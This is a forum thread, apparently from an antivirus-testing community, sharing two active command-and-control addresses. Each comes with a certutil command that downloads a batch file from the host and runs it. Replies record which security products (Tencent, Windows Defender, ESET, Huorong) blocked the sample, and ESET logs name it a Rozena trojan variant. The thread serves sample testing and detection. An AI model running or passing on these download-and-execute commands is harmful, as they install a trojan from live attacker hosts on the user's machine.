[其他相关] C2

显示全部楼层 · 发表于 2025-8-8 22:52:24

本帖最后由 384也7492374 于 2025-8-8 23:07 编辑

最近活跃的
196.251.86.142:8082
certutil.exe -urlcache -split -f http://196.251.86.142:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat

38.47.221.19:9050
certutil.exe -urlcache -split -f http://38.47.221.19:9090/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat

显示全部楼层 · 发表于 2025-8-9 00:28:03

下载

显示全部楼层 · 发表于 2025-8-9 08:17:59

腾讯拦截

显示全部楼层 · 发表于 2025-8-9 08:27:38

#Vshell

显示全部楼层 · 发表于 2025-8-9 09:22:23

本帖最后由 PhozeAMTB 于 2025-8-9 09:26 编辑

WD 拦截CmdLine

单独下载脚本运行仍被WD杀cmdline

显示全部楼层 · 发表于 2025-8-9 10:10:52

ESET Smart Security Premium kill all

2025/8/9 10:09:35;HTTP 过滤器;文件;http://196.251.86.142:28571/?h=1 ... rue;Win64/Rozena.ZA 特洛伊木马的变量;连接已终止;NT AUTHORITY\SYSTEM;尝试通过应用程序访问 Web 时发生事件: C:\Windows\System32\certutil.exe (EE4B03C344C09218E1950FCE94279E37F12ECCF6).;B6FF37F7DCEDE0804B830591370652A828DF1D1D;2025/8/9 10:09:35
2025/8/9 10:10:13;HTTP 过滤器;文件;http://38.47.221.19:9090/?h=38.4 ... rue;Win64/Rozena.ZA 特洛伊木马的变量;连接已终止;NT AUTHORITY\SYSTEM;尝试通过应用程序访问 Web 时发生事件: C:\Windows\System32\certutil.exe (EE4B03C344C09218E1950FCE94279E37F12ECCF6).;A3F2AAB9BAC267A2001F9B6DF20FF21D1625A87A;2025/8/9 10:10:13

显示全部楼层 · 发表于 2025-8-9 13:01:24

不太懂怎麼玩，Emsisoft掃描miss，雙擊都顯示不相容

显示全部楼层 · 发表于 2025-8-10 17:05:15

火绒kill

[其他相关] C2

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源

浏览过的版块